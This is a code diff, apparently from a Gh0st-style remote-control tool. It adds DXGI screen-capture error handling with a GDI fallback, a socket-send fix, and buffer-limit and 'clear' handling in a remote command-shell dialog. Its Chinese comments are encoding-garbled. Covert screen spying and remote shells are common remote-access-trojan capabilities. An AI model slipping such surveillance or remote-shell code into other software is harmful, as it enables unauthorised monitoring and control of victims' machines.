@@ -40,64 +40,76 @@ public:
|
||||
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
IDXGIDevice* dxgiDevice = nullptr;
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
|
||||
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDXGIDevice * dxgiDevice = nullptr;
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
do {
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
if(!dxgiDevice)break;
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><EFBFBD>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
// 3. <20><>ȡ DXGI <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
if (!dxgiAdapter)break;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD>
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
if (!dxgiOutput)break;
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><EFBFBD> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
if (!dxgiOutput1)break;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
if (!deskDupl)break;
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
} while (false);
|
||||
|
||||
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
dxgiOutput1->Release();
|
||||
dxgiOutput->Release();
|
||||
dxgiAdapter->Release();
|
||||
dxgiDevice->Release();
|
||||
if (dxgiOutput1) dxgiOutput1->Release();
|
||||
if (dxgiOutput) dxgiOutput->Release();
|
||||
if (dxgiAdapter) dxgiAdapter->Release();
|
||||
if (dxgiDevice) dxgiDevice->Release();
|
||||
}
|
||||
|
||||
bool IsInitSucceed() const {
|
||||
return cpuTexture;
|
||||
}
|
||||
|
||||
void CleanupDXGI() {
|
||||
|
||||
@@ -57,7 +57,22 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
DXGI = user;
|
||||
}
|
||||
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
|
||||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
|
||||
if ((DXGI && IsWindows8orHigher()))
|
||||
{
|
||||
auto s = new ScreenCapturerDXGI(algo);
|
||||
if (s->IsInitSucceed()) {
|
||||
m_ScreenSpyObject = s;
|
||||
}
|
||||
else {
|
||||
SAFE_DELETE(s);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo);
|
||||
}
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
@@ -638,7 +638,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
||||
ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer(0);
|
||||
ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength();
|
||||
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
|
||||
&ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
|
||||
{
|
||||
int a = GetLastError();
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
#include "ShellDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
#define EDIT_MAXLENGTH 30000
|
||||
|
||||
BEGIN_MESSAGE_MAP(CAutoEndEdit, CEdit)
|
||||
ON_WM_CHAR()
|
||||
END_MESSAGE_MAP()
|
||||
@@ -77,6 +79,7 @@ BOOL CShellDlg::OnInitDialog()
|
||||
m_nReceiveLength = m_nCurSel;
|
||||
m_Edit.SetSel((int)m_nCurSel, (int)m_nCurSel);
|
||||
m_Edit.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
|
||||
m_Edit.SetLimitText(EDIT_MAXLENGTH);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
@@ -115,6 +118,17 @@ VOID CShellDlg::AddKeyBoardData(void)
|
||||
//<2F>滻<EFBFBD><E6BBBB>ԭ<EFBFBD><D4AD><EFBFBD>Ļ<EFBFBD><C4BB>з<EFBFBD> <20><><EFBFBD><EFBFBD>cmd <20>Ļ<EFBFBD><C4BB><EFBFBD>ͬw32<33>µı༭<C4B1>ؼ<EFBFBD><D8BC>Ļ<EFBFBD><C4BB>з<EFBFBD><D0B7><EFBFBD>һ<EFBFBD><D2BB> <20><><EFBFBD>еĻس<C4BB><D8B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
strResult.Replace("\n", "\r\n");
|
||||
|
||||
if (strResult.GetLength() + m_Edit.GetWindowTextLength() >= EDIT_MAXLENGTH)
|
||||
{
|
||||
CString text;
|
||||
m_Edit.GetWindowTextA(text);
|
||||
auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // <20><>5<EFBFBD><35><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>clear<61><72><EFBFBD><EFBFBD>
|
||||
if (n < 0) {
|
||||
strResult = strResult.Right(strResult.GetLength() + n);
|
||||
}
|
||||
m_Edit.SetWindowTextA(text.Right(max(n, 0)));
|
||||
}
|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ڵ<EFBFBD><DAB5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir
|
||||
//hello
|
||||
@@ -151,6 +165,24 @@ void CShellDlg::OnClose()
|
||||
}
|
||||
|
||||
|
||||
CString ExtractAfterLastNewline(const CString& str)
|
||||
{
|
||||
int nPos = str.ReverseFind(_T('\n'));
|
||||
if (nPos != -1)
|
||||
{
|
||||
return str.Mid(nPos + 1);
|
||||
}
|
||||
|
||||
nPos = str.ReverseFind(_T('\r'));
|
||||
if (nPos != -1)
|
||||
{
|
||||
return str.Mid(nPos + 1);
|
||||
}
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (pMsg->message == WM_KEYDOWN)
|
||||
@@ -174,13 +206,20 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
#ifdef _DEBUG
|
||||
TRACE("[Shell]=> %s", (char*)pSrc);
|
||||
#endif
|
||||
if (0 == strcmp((char*)pSrc, "exit\r\n")) { // <20>˳<EFBFBD><CBB3>ն<EFBFBD>
|
||||
return PostMessage(WM_CLOSE);
|
||||
}
|
||||
else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // <20><><EFBFBD><EFBFBD><EFBFBD>ն<EFBFBD>
|
||||
str = ExtractAfterLastNewline(str.Left(str.GetLength() - 7));
|
||||
m_Edit.SetWindowTextA(str);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
m_nReceiveLength = m_nCurSel;
|
||||
m_Edit.SetSel(m_nCurSel, m_nCurSel);
|
||||
return TRUE;
|
||||
}
|
||||
int length = str.GetLength() - m_nCurSel;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
|
||||
m_nCurSel = m_Edit.GetWindowTextLength();
|
||||
if (0 == strcmp((char*)pSrc, "exit\r\n"))
|
||||
{
|
||||
return PostMessage(WM_CLOSE);
|
||||
}
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>VK_BACK
|
||||
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd)
|
||||
|
||||
@@ -25,7 +25,7 @@ public:
|
||||
HICON m_hIcon;
|
||||
UINT m_nReceiveLength;
|
||||
VOID AddKeyBoardData(void);
|
||||
UINT m_nCurSel; //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>;
|
||||
int m_nCurSel; //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>;
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_SHELL };
|
||||
|
||||
Reference in New Issue
Block a user